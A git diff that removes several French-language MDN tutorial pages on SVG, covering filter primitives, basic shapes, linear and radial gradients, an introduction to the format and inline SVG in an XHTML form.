- -

Étape 4

- -
<feComposite in="specOut" in2="SourceAlpha"
-             operator="in"
-             result="specOut"/>
- -

Le premier {{SVGElement('feComposite')}} prend en entrée (in, in2) "specOut" et "SourceAlpha", masque le résultat de "specOut" de telle sorte qu'il ne soit pas plus grand que "SourceAlpha" (l'élément graphique d'origine), et remplace le résultat (result) "specOut".

- -

Étape 5

- -
<feComposite in="SourceGraphic" in2="specOut"
-             operator="arithmetic"
-             k1="0" k2="1" k3="1" k4="0"
-             result="litPaint"/>
- -

Le second {{SVGElement('feComposite')}} prend en entrée (in, in2) "SourceAlpha" et "specOut", ajoute le résultat "specOut" au-dessus de "SourceAlpha", et stocke le résultat (result) dans "litPaint".

- -

Étape 6

- -
<feMerge>
-  <feMergeNode in="offsetBlur"/>
-  <feMergeNode in="litPaint"/>
-</feMerge>
- -

Finalement, {{SVGElement('feMerge')}} fusionne ensemble "offsetBlur", qui est l'ombre portée, et "litPaint", qui est l'élément d'origine avec l'effet d'éclairage.

- -
-
Source graphic -

Élément d'origine

-
- -
Primitive 1 -

Primitive 1

-
- -
Primitive 2 -

Primitive 2

-
- -
Primitive 3 -

Primitive 3

-
- -
Primitive 4 -

Primitive 4

-
- -
Primitive 5 -

Primitive 5

-
- -
Primitive 6 -

Primitive 6

-
-
- -

{{ PreviousNext("Web/SVG/Tutoriel/Contenu_embarque_SVG", "Web/SVG/Tutoriel/polices_SVG") }}

diff --git a/files/fr/web/svg/tutoriel/formes_de_base/index.html b/files/fr/web/svg/tutoriel/formes_de_base/index.html deleted file mode 100644 index aa75f0c0ed..0000000000 --- a/files/fr/web/svg/tutoriel/formes_de_base/index.html +++ /dev/null @@ -1,156 +0,0 @@ ---- -title: Formes de base -slug: Web/SVG/Tutoriel/Formes_de_base -tags: - - SVG -translation_of: Web/SVG/Tutorial/Basic_Shapes ---- -

{{ PreviousNext("SVG/Tutoriel/Positionnement", "Web/SVG/Tutoriel/Paths") }}

- -

Il existe tout un ensemble de formes de base utilisées pour faire du dessin via SVG. Le but de ces formes assez transparent, si on regarde attentivement les noms de chaque élément. Des attributs permettent de configurer leur position et leur taille, mais vous pourrez retrouver les détails de chaque élément avec tous ses attributs à la page des références SVG. Nous nous contenterons ici de couvrir les fonctions de base qui nous sont nécessaires, car elles sont utilisées dans la plupart des documents SVG.

- -

Ajout de formes

- -

Pour insérer une forme, vous devez ajouter un élément dans un document. Des éléments différents  correspondent à des formes différentes et ont des attributs différents pour décrire leur taille et leur position. Certaines déclarations sont très fortement redondantes en ce qu'elles peuvent être créées par d'autres formes, mais elles sont toutes là de manière à faciliter votre vie et à rendre le document SVG aussi court et lisible que possible. Toutes les formes de bases sont affichées sur l'image de gauche. Le code pour générer tout cela ressemble à cela :

- -

- -
<?xml version="1.0" standalone="no"?>
-<svg width="200" height="250" version="1.1" xmlns="http://www.w3.org/2000/svg">
-
-  <rect x="10" y="10" width="30" height="30" stroke="black" fill="transparent" stroke-width="5"/>
-  <rect x="60" y="10" rx="10" ry="10" width="30" height="30" stroke="black" fill="transparent" stroke-width="5"/>
-
-  <circle cx="25" cy="75" r="20" stroke="red" fill="transparent" stroke-width="5"/>
-  <ellipse cx="75" cy="75" rx="20" ry="5" stroke="red" fill="transparent" stroke-width="5"/>
-
-  <line x1="10" x2="50" y1="110" y2="150" stroke="orange" fill="transparent" stroke-width="5"/>
-  <polyline points="60 110 65 120 70 115 75 130 80 125 85 140 90 135 95 150 100 145"
-      stroke="orange" fill="transparent" stroke-width="5"/>
-
-  <polygon points="50 160 55 180 70 180 60 190 65 205 50 195 35 205 40 190 30 180 45 180"
-      stroke="green" fill="transparent" stroke-width="5"/>
-
-  <path d="M20,230 Q40,205 50,230 T90,230" fill="none" stroke="blue" stroke-width="5"/>
-</svg>
-
- -
Note : les attributs stroke, stroke-width et fill sont détaillés plus loin dans ce tutoriel.
- -

Figures de bases

- -

Rectangles

- -

L'élément rect, comme son nom ne l'indique peut-être pas, dessine à l'écran des rectangles. Il existe 6 attributs de base qui contrôlent la position et la forme du rectangle dessiné ici. L'image précédente affichait 2 rectangles, ce qui est un peu répétitif. Celui de droite possède des attributs rx et ry définis, ce qui lui donne des coins arrondis. Si ces attributs ne sont pas définis, leur valeur par défaut est de 0, ce qui a pour résultats d'afficher un rectangle avec des angles droits.

- -
 <rect x="10" y="10" width="30" height="30"/>
- <rect x="60" y="10" rx="10" ry="10" width="30" height="30"/>
-
- -
-
x
-
Position du rectangle sur l'axe horizontal par rapport au coin supérieur gauche.
-
y
-
Position du rectangle sur l'axe vertical par rapport au coin supérieur gauche.
-
width
-
Largeur du rectangle.
-
height
-
Hauteur du rectangle.
-
rx
-
Rayon x des coins du rectangle.
-
ry
-
Rayon y des coins du rectangle.
-
- -

Cercles

- -

De la même manière, il est facile de deviner la fonction de l'élément circle. Il dessine à l'écran un cercle. Seuls 3 attributs peuvent être définis pour cet élément.

- -
 <circle cx="25" cy="75" r="20"/>
-
- -
-
r
-
Rayon du cercle.
-
cx
-
Position x du centre du cercle.
-
cy
-
Position y du centre du cercle.
-
- -

Ellipses

- -

Les ellipses sont juste des sortes de cercles bien particuliers, où l'on peut modifier les rayons x et y séparemment l'un de l'autre (les matheux appellent ces rayons le grand axe et le petit axe).

- -
 <ellipse cx="75" cy="75" rx="20" ry="5"/>
-
- -
-
rx
-
Rayon x de l'ellipse.
-
ry
-
Rayon y de l'ellipse.
-
cx
-
Position x du centre de l'ellipse.
-
cy
-
Position y du centre de l'ellipse.
-
- -

Figures complexes

- -

Lignes

- -

Les lignes droites permettent de créer des figures plus complexes, en les additionnant les unes avec les autres. L'élément line en SVG correspond au segment que l'on apprend en géométrie traditionnelle : c'est une portion de droite délimitée par 2 points. Donc pour définir une droite en SVG, il va falloir lui donner pour attribut les coordonnées des deux points qui la définissent.

- -
 <line x1="10" x2="50" y1="110" y2="150"/>
-
- -
-
x1
-
Position x du premier point.
-
x2
-
Position x du deuxième point.
-
y1
-
Position y du premier point.
-
y2
-
Position y du deuxième point.
-
- -

Lignes brisées

- -

Les lignes brisées, aussi appelées lignes polygonales, sont définies par l'élément polyline en SVG. Elles sont constituées d'un ensemble de lignes droites connectées entre elles, donc d'un ensemble de points se reliant entre eux suivant un ordre défini. Comme ce lot de points peut être assez conséquent à déclarer, un seul attribut est utilisé pour déclarer l'ensemble de points :

- -
 <polyline points="60 110, 65 120, 70 115, 75 130, 80 125, 85 140, 90 135, 95 150, 100 145"/>
-
- -
-
points
-
Liste des points, chaque pair de nombres correspondant aux coordonnées x et y de chaque point. Chaque position x est séparée de la position y par un espace. Chaque ensemble de coordonnées est séparé du suivant par une virgule.
-
- -

Polygones

- -

Le polygone fonctionne exactement de la même manière que la ligne brisée. Au final, un polygone n'est rien d'autre qu'une ligne brisée qui relie une série de points. Toutefois, pour les polygones, le chemin de cette ligne retourne automatiquement au point de départ, créant ainsi une forme fermée. Il est à noter que le rectangle est un type de polygone particulier. Il est donc possible, pour des besoins de flexibilité, de déclarer un rectangle en utilisant l'élément polygon.

- -
<polygon points="50 160, 55 180, 70 180, 60 190, 65 205, 50 195, 35 205, 40 190, 30 180, 45 180"/>
- -
-
points
-
Idem que l'attribut points de l'élément polyline. Liste des points, chaque paire de nombres correspondant aux coordonnées x et y de chaque point. Chaque position x est séparée de la position y par un espace, chaque ensemble de coordonnées est séparé du suivant par une virgule. Une dernière ligne ferme automatiquement la forme en retournant au point de départ.
-
- -

Chemins

- -

L'élément pour tracer les chemins, très logiquement nommé path, est sûrement la forme la plus généraliste qui peut être utilisée en SVG. Avec un élément path, vous pouvez dessiner un rectangle (avec ou sans coins arrondis), des cercles, des ellipses, des lignes brisées et des polygones. De manière plus basique, il est aussi possible de dessiner d'autres types de formes, comme des courbes de Bézier, des paraboles, et bien plus encore. Pour cette raison, l'élément path en lui même sera un chapitre entier de ce tutoriel, mais pour le moment, nous allons juste voir comment définir cet élément.

- -
 <path d="M 20 230 Q 40 205, 50 230 T 90230"/>
-
- -
-
d
-
Un ensemble d'information définissant le chemin à dessiner. Pour en savoir plus, allez à la page à propos des Chemins.
-
- -

{{ PreviousNext("SVG/Tutoriel/Positionnement", "Web/SVG/Tutoriel/Paths") }}

- -

Interwiki Languages Links

diff --git a/files/fr/web/svg/tutoriel/gradients/index.html b/files/fr/web/svg/tutoriel/gradients/index.html deleted file mode 100644 index ef9c235318..0000000000 --- a/files/fr/web/svg/tutoriel/gradients/index.html +++ /dev/null @@ -1,224 +0,0 @@ ---- -title: Gradients SVG -slug: Web/SVG/Tutoriel/Gradients -tags: - - SVG - - 'SVG:Tutoriel' -translation_of: Web/SVG/Tutorial/Gradients ---- -

{{ PreviousNext("Web/SVG/Tutoriel/Fills_and_Strokes", "Web/SVG/Tutoriel/Motifs") }}

- -

Probablement plus excitant qu'un simple remplissage et contour, est le fait de pouvoir créer et appliquer des dégradés comme remplissage ou contour.

- -

Il y a deux types de dégradés: linéaire et radial. Les dégradés sont définis dans la section defs et non sur les formes elles-mêmes — cela favorise leur réusabilité. Vous devez donner au dégradé un attribut id; autrement, il ne pourra pas être utilisé par les autres éléments à l'intérieur du fichier SVG.

- -

Dégradé Linéaire

- -

Les dégradés linéaires (linear gradient en anglais) changent de couleur le long d'une ligne droite. Pour en insérer un, on crée un élément {{SVGElement('linearGradient')}} dans la section des définitions du fichier SVG.

- -

Exemple

- -

Un exemple de dégradé linéaire appliqué à un élément <rect>:

- -
<svg width="120" height="240" version="1.1" xmlns="http://www.w3.org/2000/svg">
-  <defs>
-      <linearGradient id="Gradient1" x1="0" x2="0" y1="0" y2="1">
-        <stop offset="0%" stop-color="red"/>
-        <stop offset="50%" stop-color="black" stop-opacity="0"/>
-        <stop offset="100%" stop-color="blue"/>
-      </linearGradient>
-      <linearGradient id="Gradient2">
-        <stop class="stop1" offset="0%"/>
-        <stop class="stop2" offset="50%"/>
-        <stop class="stop3" offset="100%"/>
-      </linearGradient>
-      <style type="text/css"><![CDATA[
-        #rect1 { fill: url(#Gradient2); }
-        .stop1 { stop-color: red; }
-        .stop2 { stop-color: black; stop-opacity: 0; }
-        .stop3 { stop-color: blue; }
-      ]]></style>
-  </defs>
-
-  <rect x="10" y="120" rx="15" ry="15" width="100" height="100" fill="url(#Gradient1)"/>
-  <rect x="10" y="10" rx="15" ry="15" width="100" height="100" id="rect1" />
-</svg>
- -

{{ EmbedLiveSample('SVGLinearGradient','120','240','/files/722/SVG_Linear_Gradient_Example.png') }}

- -

Définir le dégradé

- -

À l'intérieur du dégradé, il y a divers noeuds {{SVGElement('stop')}}. Ces noeuds disent au dégradé quelles couleurs doivent être affichées à quelles positions, en spécifiant les attributs offset pour la position et stop-color pour la couleur. On peut également le définir avec CSS. Les deux méthodes ont été utilisées dans l'exemple pour le démontrer.

- -

Dans cet exemple, on dit au dégradé de commencer en rouge, de passer au noir transparent au centre et de terminer par la couleur bleue. Vous pouvez ajouter autant de couleurs que vous le souhaitez, pour créer un dégradé aussi beau ou aussi laid que vous le souhaitez, mais les positions (offset) doivent toujours être incrementées de 0% (ou 0) à 100% (ou 1). Si des valeurs sont dupliquées, la couleur définie la plus en bas de la définition sera utilisée.

- -

Aussi, comme pour le remplissage et le contour, vous pouvez spécifier un attribut stop-opacity pour définir l'opacité de la couleur à cette position (encore une fois, à partir de FF3 vous pouvez utiliser les valeurs rgba pour le même effet).

- -
 <stop offset="100%" stop-color="yellow" stop-opacity="0.5"/>
-
- -

Utiliser le dégradé

- -

Pour utiliser le dégradé, vous devez le référencer avec l'attribut fill ou stroke d'un objet. On référence un élément SVG de la même manière que l'on référence des éléments en CSS, via url(). Dans notre cas, l'url est juste une référence vers le dégradé avec l'ID "Gradient". Pour le référencer, on définit fill="url(#Gradient)", et voilà! Notre objet est maintenant multi-coloré. Vous pouvez faire de même avec stroke.

- -

Orientation du dégradé

- -

L'élément <linearGradient> peut également prendre différents attributs pour spécifier la taille et l'apparence du dégradé. L'orientation du dégradé est contrôlé par deux points, désignés par les attributs x1, x2, y1, et y2. Ces attributs définissent la ligne le long de laquelle le dégradé est tracé. Par défaut, le dégradé est horizontal, mais il peut être orienté autrement grâce à ces attributs. "Gradient2" dans l'exemple précédent crée un dégradé vertical.

- -
 <linearGradient id="Gradient2" x1="0" x2="0" y1="0" y2="1">
-
- -

xlink:href

- -

Vous pouvez également utiliser l'attribut xlink:href sur les dégradés. Quand il est utilisé, les attributs et stops d'un dégradé peuvent être réutilisé sur un autre. Ainsi, dans l'exemple précédent, on aurait pu ne pas redéfinir tous les stops dans Gradient2, comme ceci:

- -
 <linearGradient id="Gradient1">
-   <stop id="stop1" offset="0%"/>
-   <stop id="stop2" offset="50%"/>
-   <stop id="stop3" offset="100%"/>
- </linearGradient>
- <linearGradient id="Gradient2" x1="0" x2="0" y1="0" y2="1"
-    xmlns:xlink="http://www.w3.org/1999/xlink" xlink:href="#Gradient1"/>
-
- -

Ici, le namespace xlink est inclut directement sur le noeud, bien qu'il soit généralement définit en haut du document, comme dans l'exemple avec les images

- -

Dégradé Radial

- -

Les dégradés radiaux (radial gradient en anglais) sont similaires aux dégradés linéaires à la différence près qu'ils irradient autour d'un point. Pour en créer un, on crée un élément {{SVGElement('radialGradient')}} dans la section de définitions du document SVG.

- -

Exemple

- -
<svg width="120" height="240" version="1.1" xmlns="http://www.w3.org/2000/svg">
-  <defs>
-      <radialGradient id="RadialGradient1">
-        <stop offset="0%" stop-color="red"/>
-        <stop offset="100%" stop-color="blue"/>
-      </radialGradient>
-      <radialGradient id="RadialGradient2" cx="0.25" cy="0.25" r="0.25">
-        <stop offset="0%" stop-color="red"/>
-        <stop offset="100%" stop-color="blue"/>
-      </radialGradient>
-  </defs>
-
-  <rect x="10" y="10" rx="15" ry="15" width="100" height="100" fill="url(#RadialGradient1)"/>
-  <rect x="10" y="120" rx="15" ry="15" width="100" height="100" fill="url(#RadialGradient2)"/>
-</svg>
- -

{{ EmbedLiveSample('Exemple_2','120','240','/files/726/SVG_Radial_Gradient_Example.png') }}

- -

Définir le dégradé

- -

Les stops utilisés ici sont les mêmes que précédemment, la différence étant que désormais l'objet sera rouge en son centre, et que la couleur changera progressivement vers le bleu en approchant des contours. Comme pour les dégradés linéaires, le noeud <radialGradient> peut prendre différents attributs pour décrire sa position et son orientation. Cependant, la définition est un peu plus complexe. Le dégradé linéaire est défini par deux points, qui déterminent où sont situé le centre et les bords:

- -
    -
  • Le premier point définit le cercle où le dégradé se termine. Il requiert un point central, spécifié par les attributs cx et cy, et un rayon, r. Définir ces trois attributs vous permettra de déplacer le dégradé et de changer sa taille, comme illusté dans le deuxième rect de notre exemple.
    • -
  • Le second point est appelé le point focal et il est définit par les attributs fx et fy. Tandis que le premier point décrit où sont les bords du dégradé, le point focal décrit où est son centre. C'est plus facile à voir avec un exemple (voir la section qui suit).
    • -
- -

Centre et point focal

- -
<svg width="120" height="120" version="1.1"
-  xmlns="http://www.w3.org/2000/svg">
-  <defs>
-      <radialGradient id="Gradient"
-            cx="0.5" cy="0.5" r="0.5" fx="0.25" fy="0.25">
-        <stop offset="0%" stop-color="red"/>
-        <stop offset="100%" stop-color="blue"/>
-      </radialGradient>
-  </defs>
-
-  <rect x="10" y="10" rx="15" ry="15" width="100" height="100"
-        fill="url(#Gradient)" stroke="black" stroke-width="2"/>
-
-  <circle cx="60" cy="60" r="50" fill="transparent" stroke="white" stroke-width="2"/>
-  <circle cx="35" cy="35" r="2" fill="white" stroke="white"/>
-  <circle cx="60" cy="60" r="2" fill="white" stroke="white"/>
-  <text x="38" y="40" fill="white" font-family="sans-serif" font-size="10pt">(fx,fy)</text>
-  <text x="63" y="63" fill="white" font-family="sans-serif" font-size="10pt">(cx,cy)</text>
-
-</svg>
- -

{{ EmbedLiveSample('Centre_et_point_focal','120','120','/files/727/SVG_Radial_Grandient_Focus_Example.png') }}

- -

Si le point focal est déplacé en dehors du cercle décrit précédemment, il est impossible que le dégradé s'affiche correctement, le point focal sera donc supposé être à l'intérieur du bord du cercle. Si le point focal n'est pas du tout indiqué, il sera supposé être au même endroit que le point central.

- -

Attributs additionnels

- -

Les dégradés linéaires et radiaux peuvent également prendre quelques autres attributs pour décrire les transformations qu'ils peuvent subir.

- -

spreadMethod

- -

Cet attribut contrôle ce qu'il arrive quand le dégradé arrive à sa fin, mais que l'objet n'est pas encore rempli. Trois valeurs sont possibles: "pad", "reflect", ou "repeat".

- -
    -
  • "pad" est la valeur par défaut. Quand un dégradé arrive à sa fin, la dernière couleur est utilisée pour remplir le reste de l'objet.
    • -
  • "reflect" a pour effet de poursuivre le dégradé, mais en sens inverse: de la dernière couleur (offset 100%) à la première (offset 0%), puis de nouveau de la première à la dernière, etc.
    • -
  • "repeat" poursuit également le dégradé, mais au lieu de revenir en arrière, il revient au début et est exécuté de nouveau.
    • -
- -
<svg width="220" height="220" version="1.1" xmlns="http://www.w3.org/2000/svg">
-  <defs>
-      <!-- pad -->
-      <radialGradient id="GradientPad"
-            cx="0.5" cy="0.5" r="0.4" fx="0.75" fy="0.75"
-            spreadMethod="pad">
-        <stop offset="0%" stop-color="red"/>
-        <stop offset="100%" stop-color="blue"/>
-      </radialGradient>
-
-      <!-- repeat -->
-      <radialGradient id="GradientRepeat"
-            cx="0.5" cy="0.5" r="0.4" fx="0.75" fy="0.75"
-            spreadMethod="repeat">
-        <stop offset="0%" stop-color="red"/>
-        <stop offset="100%" stop-color="blue"/>
-      </radialGradient>
-
-      <!-- reflect -->
-      <radialGradient id="GradientReflect"
-            cx="0.5" cy="0.5" r="0.4" fx="0.75" fy="0.75"
-            spreadMethod="reflect">
-        <stop offset="0%" stop-color="red"/>
-        <stop offset="100%" stop-color="blue"/>
-      </radialGradient>
-  </defs>
-
-  <rect x="10" y="10" rx="15" ry="15" width="100" height="100" fill="url(#GradientPad)"/>
-  <rect x="10" y="120" rx="15" ry="15" width="100" height="100" fill="url(#GradientRepeat)"/>
-  <rect x="120" y="120" rx="15" ry="15" width="100" height="100" fill="url(#GradientReflect)"/>
-
-  <text x="15" y="30" fill="white" font-family="sans-serif" font-size="12pt">Pad</text>
-  <text x="15" y="140" fill="white" font-family="sans-serif" font-size="12pt">Repeat</text>
-  <text x="125" y="140" fill="white" font-family="sans-serif" font-size="12pt">Reflect</text>
-
-</svg>
- -

{{ EmbedLiveSample('spreadMethod','220','220','/files/728/SVG_SpreadMethod_Example.png') }}

- -

gradientUnits

- -

Les deux types de dégradés ont également un attribut gradientUnits, qui indique l'unité utilisée pour décrire la taille et l'orientation du dégradé. Deux valeurs sont posibles: userSpaceOnUse ou objectBoundingBox.

- -
    -
  • objectBoundingBox est la valeur par défaut, c'est ce qu'on a vu jusqu'à présent. Le dégradé est automatiquement redimensionné à la taille de l'objet sur lequel il est appliqué, vous n'avez donc qu'à spécifier les coordonnées de zéro à un (ou de 0% à 100%), et les coordonnées sont automatiquement redimensionnée à la taille de l'objet.
    • -
  • userSpaceOnUse indique que les valeurs sont absolues. Vous devez donc savoir où se situe l'objet, et placer le dégradé à la même position. Le dégradé radial précédent devrait être ré-écrit comme suit: - 
    <radialGradient id="Gradient"
-                cx="60" cy="60" r="50"
-                fx="35" fy="35"
-                gradientUnits="userSpaceOnUse">
-
    -
    • -
- -

Il y a quelques subtilités concernant l'utilisation de gradientUnits="objectBoundingBox" quand les limites de l'objet ne sont pas carrées, mais elles sont assez complexes et nous attendrons quelqu'un de plus au courant pour les expliquer.

- -

gradientTransform

- -

Vous pouvez également appliquer une transformation au gradient en utilisant l'attribut gradientTransform, mais puisque nous n'avons pas encore introduit les transformations, nous le laisserons de côté pour l'instant.

- -

 

- -

{{ PreviousNext("Web/SVG/Tutoriel/Fills_and_Strokes", "Web/SVG/Tutoriel/Motifs") }}

- -

 

diff --git a/files/fr/web/svg/tutoriel/index.html b/files/fr/web/svg/tutoriel/index.html deleted file mode 100644 index 14275fcdd8..0000000000 --- a/files/fr/web/svg/tutoriel/index.html +++ /dev/null @@ -1,36 +0,0 @@ ---- -title: Tutoriel SVG -slug: Web/SVG/Tutoriel -tags: - - NeedsContent - - SVG - - 'SVG:Tutoriel' -translation_of: Web/SVG/Tutorial ---- -

SVG, pour Scalable Vector Graphics (ou encore Graphismes vectoriels redimensionnables), est un langage basé sur le XML du W3C qui permet de définir des éléments graphiques avec des balises. Ce langage est plus ou moins implémenté dans Firefox, Opera, les navigateurs à base de Webkit, Internet Explorer et les autres navigateurs Web.

- -

Ce tutoriel a pour but d'expliquer les mécanismes internes de SVG et regorge de détails techniques. Si vous souhaitez juste dessiner de belles images, vous trouverez plus facilement votre bonheur sur la page de documentation d'Inkscape. Le W3C fournit également une bonne introduction au format SVG, en anglais malheureusement.

- -
Ce tutoriel est en cours de développement et de traduction. Si vous le pouvez, n'hésitez pas à y mettre votre grain de sel et écrire / traduire un paragraphe ou deux. Des points supplémentaires sont prévus pour ceux qui écriront des pages entières, à réclamer auprès de Julia. Merci d'avance !
- - - -

{{ languages( { "en": "en/SVG/Tutorial", "ja": "ja/SVG/Tutorial", "pl": "pl/SVG/Przewodnik" } ) }}

diff --git a/files/fr/web/svg/tutoriel/introduction/index.html b/files/fr/web/svg/tutoriel/introduction/index.html deleted file mode 100644 index 7c38618958..0000000000 --- a/files/fr/web/svg/tutoriel/introduction/index.html +++ /dev/null @@ -1,54 +0,0 @@ ---- -title: Introduction -slug: Web/SVG/Tutoriel/Introduction -tags: - - SVG - - 'SVG:Tutoriel' -translation_of: Web/SVG/Tutorial/Introduction ---- -

{{ PreviousNext("SVG/Tutoriel", "SVG/Tutoriel/Premiers_pas") }}

- -

lion_svg.pngSVG est un langage XML, assez similaire au XHTML. Ce langage peut être utilisé pour dessiner des choses complexes, comme le petit lion sur la gauche. Je l'ai dit en présentation de ce tutoriel, le SVG est un langage vectoriel. En gros, cela veut dire que l'image peut être transformée, rétrécie, agrandie, bref, manipulée, sans perte de qualité.

- -

La seconde particularité est que vous allez pouvoir lire le code. Stop ! Lire une image ? Et oui, cela vient du fait que SVG dérive du XML. Nous verrons dans ce tutoriel que le code SVG reste (la plupart du temps) humainement lisible. C'est aussi sympa car on va pouvoir le transformer en arbre DOM et ainsi le manipuler, avec du CSS et / ou du Javascript.

- -

SVG est apparu en 1999, après que plusieurs formats concurrents aient été soumis au W3C  sans succès. SVG est pris en charge par tous les principaux navigateurs. Un inconvénient est que le chargement SVG peut être lent. En contrepartie, l'avantage c'est de disposer du DOM et de ne pas nécessiter d'extensions tierces. Choisir d'utiliser ou non SVG dépend souvent des cas d'utilisation.

- -

Les ingrédients de base

- -

HTML founit des éléments pour définir des titres, paragraphes, tableaux, etc. De la même manière, SVG fournit des éléments pour dessiner des cercles, des rectangles, des courbes simples ou complexes, etc.

- -

Un simple document SVG se compose de l'élément racine {{ SVGElement('svg') }}, à l'intérieur de laquelle vont être placées divers éléments. L'élément {{ SVGElement('g') }} permet de regrouper plusieurs éléments ensemble, un peu à la manière d'un div en HTML. À partir de là, l'image SVG peut devenir aussi complexe qu'on le veut.

- -

SVG prend en charge les dégradés, les rotations, les effets de filtre, les animations, l'interactivité avec JavaScript... Mais toutes ces fonctionnalités reposent sur un petit nombre d'éléments de base.

- -

Les bons outils

- -

Il y a un certain nombre de logiciels de dessin disponibles qui utilisent SVG comme format natif. Certains, comme Inkscape, sont libres et gratuits. Néanmoins, ce tutoriel se basera sur le XML et un simple éditeur de texte. Le but est d'enseigner les mécanismes de SVG à ceux qui veulent les comprendre, et la meilleure façon de le faire est de mettre les mains dans le cambouis avec un peu de balisage.

- -

Tous les visionneurs SVG ne sont pas égaux, il est donc probable que quelque chose écrit pour une application ne s'affiche pas exctement de la même manière dans une autre, simplement parce qu'ils prennent en charge différentes spécifications SVG, CSS ou JavaScript.

- -

Avant de commencer, vous devez avoir une compréhension basique du XML ou d'un autre langage de balisage comme le HTML. Si vous n'êtes pas à l'aise avec le XML, voici quelques règles à garder en-tête :

- -
    -
  • Les éléments et attributs SVG sont sensibles à la casse (contrairement au HTML et doivent donc tous être entrés avec la casse indiquée ici).
    • -
  • Les valeurs des attributs en SVG doivent être placées entre guillemets même si ce sont des nombres.
    • -
- -

La spécification du langage SVG (en) est énorme. Ce tutoriel a pour but d'en traiter juste assez pour pouvoir commencer. Une fois que vous serez à l'aise avec les bases du SVG, vous devriez être capables d'utiliser les références d'éléments et les références d'interfaces pour découvrir tout ce que vous aurez besoin de connaître.

- -

Les versions SVG

- -

La version "complète" la plus récente de SVG est la 1.1 (devenue recommendation en 2003). Elle s'appuie sur SVG 1.0 mais ajoute davantage de modularisation pour faciliter l'implémentation. La seconde édition de SVG 1.1, est devenue recommendation en 2011.

- -

SVG 1.2 devait être la prochaine version majeure de SVG mais celle-ci a été abandonnée pour le prochain SVG 2.0, qui est actuellement en cours de développement. SVG 2.0 suit une approche similaire à CSS3: il divise les composants en plusieurs spécifications librement couplées.

- -

Outre les recommendations complètes de SVG, le groupe de travail du W3C a introduit SVG Tiny et SVG basic en 2003. Ces deux profils d'adressent principalement aux mobiles. SVG Tiny devrait permettre d'obtenir des graphiques simples pour les périphériques qui ont de faibles capacités. SVG Basic, lui, offre de nombreuses fonctionnalités de SVG, mais n'inclut pas celles qui sont difficiles à implémenter ou lourdes à restituer (comme les animations). En 2008, SVG Tiny 1.2 est devenu une recommendation du W3C.

- -

Une spécification SVG Print était prévue, qui ajouterait la prise en charge de plusieurs pages et une gestion améliorée des couleurs. Ce travail a été interrompu.

- -

{{ PreviousNext("SVG/Tutoriel", "SVG/Tutoriel/Premiers_pas") }}

- -

Interwiki Languages Links

- -

{{ languages( { "en": "en/SVG/Tutorial/Introduction", "ja": "ja/SVG/Tutorial/Introduction" } ) }}

diff --git "a/files/fr/web/svg/tutoriel/introduction_\303\240_svg_dans_html/index.html" "b/files/fr/web/svg/tutoriel/introduction_\303\240_svg_dans_html/index.html" deleted file mode 100644 index 29db7cb55b..0000000000 --- "a/files/fr/web/svg/tutoriel/introduction_\303\240_svg_dans_html/index.html" +++ /dev/null @@ -1,87 +0,0 @@ ---- -title: Introduction à SVG dans HTML -slug: Web/SVG/Tutoriel/Introduction_à_SVG_dans_HTML -tags: - - SVG -translation_of: Web/SVG/Tutorial/SVG_In_HTML_Introduction ---- -

Aperçu

- -

Cet article et son exemple associé montrent comment utiliser du SVG en ligne pour fournir une image de fond à un formulaire. Il montre comment JavaScript et CSS peuvent servir à manipuler l'image comme vous le feriez avec le XHTML dans un script. Notez que l'exemple ne fonctionnera que dans des navigateurs supportant XHTML (pas HTML) et l'intégration SVG.

- -

Source

- -

Voici le code source de cet exemple :

- -
<html xmlns="http://www.w3.org/1999/xhtml">
-<head>
-  <title>XTech SVG Demo</title>
-  <style>
-    stop.begin { stop-color:yellow; }
-    stop.end { stop-color:green; }
-    body.invalid stop.end { stop-color:red; }
-    #err { display:none; }
-    body.invalid #err { display:inline; }
-  </style>
-  <script>
-    function signalError() {
-      document.getElementById('body').setAttribute("class", "invalid");
-    }
-  </script>
-</head>
-<body id="body"
-   style="position:absolute; z-index:0; border:1px solid black; left:5%; top:5%; width:90%; height:90%;">
-  <form>
-     <fieldset>
-       <legend>HTML Form</legend>
-       <p><label>Enter something:</label>
-          <input type="text"/>
-          <span id="err">Incorrect value!</span></p>
-       <p><button onclick="signalError();">Activate!</button></p>
-     </fieldset>
-  </form>
-  <svg xmlns="http://www.w3.org/2000/svg" version="1.1"
-    viewBox="0 0 100 100" preserveAspectRatio="xMidYMid slice"
-    style="width:100%; height:100%; position:absolute; top:0; left:0; z-index:-1;">
-    <linearGradient id="gradient">
-      <stop class="begin" offset="0%"/>
-      <stop class="end" offset="100%"/>
-    </linearGradient>
-    <rect x="0" y="0" width="100" height="100" style="fill:url(#gradient)" />
-    <circle cx="50" cy="50" r="30" style="fill:url(#gradient)" />
-  </svg>
-</body>
-</html>
- -

Discussion

- -

La page est principalement formée de XHTML, CSS et JavaScript classiques. La seule partie intéressante est le contenu de l'élément <svg>. Cet élément et ses fils sont déclarés comme étant dans l'espace de nommage SVG. L'élément contient un gradient et deux formes remplies avec le gradient. Les bornes de couleurs du gradient sont définies par une classe CSS. Lorsque l'utilisateur saisit quelque chose d'incorrect dans le formulaire, le script affecte l'attribut invalid à la balise <body> et une règle de style modifie la couleur end-stop du gradient en rouge en lui donnant la valeur « red » (Une autre règle de style sert à faire apparaître un message d'erreur).

- -

Cette approche bénéficie des points suivants en sa faveur :

- -
    -
  • Nous avons choisi un formulaire XHTML classique qui pourrait faire partie d'un site Web existant, et lui avons ajouté un fond attractif et interactif
    • -
  • L'approche assure une rétro-compatibilité pour les navigateurs qui ne supportent pas SVG ; simplement, aucun fond n'apparaîtra pour eux
    • -
  • Elle est très simple et remplit sa fonction parfaitement
    • -
  • L'image se redimensionne automatiquement à la taille requise de manière intelligente
    • -
  • Nous pouvons avoir des déclarations de styles appliquées à la fois sur le HTML et le SVG
    • -
  • Le même script manipule à la fois le HTML et le SVG
    • -
  • Le document est entièrement basé sur les standards
    • -
- -

Détails

- -

L'attribut viewBox établit un système de coordonnées logiques sur lequel les coordonnées de l'image SVG s'appuient de façon relative. Dans ce cas, notre image s'étend dans un cadre de visualisation de 100 sur 100.

- -

L'attribut preserveAspectRatio spécifie que le ratio de rendu doit être préservé en centrant l'image dans l'espace disponible, en augmentant la largeur ou la hauteur à leur maximum et en tronquant les débordements.

- -

L'attribut style ancre l'élément SVG en arrière plan du formulaire.

- -

Liens sur le sujet

- -
    -
  • L'article wikipedia sur le format SVG
    • -
  • La page Inline SVG sur le wiki SVG
    • -
- -

{{ languages( { "en": "en/SVG_In_HTML_Introduction", "ja": "ja/SVG_In_HTML_Introduction", "pl": "pl/SVG_w_XHTML_-_Wprowadzenie" } ) }}

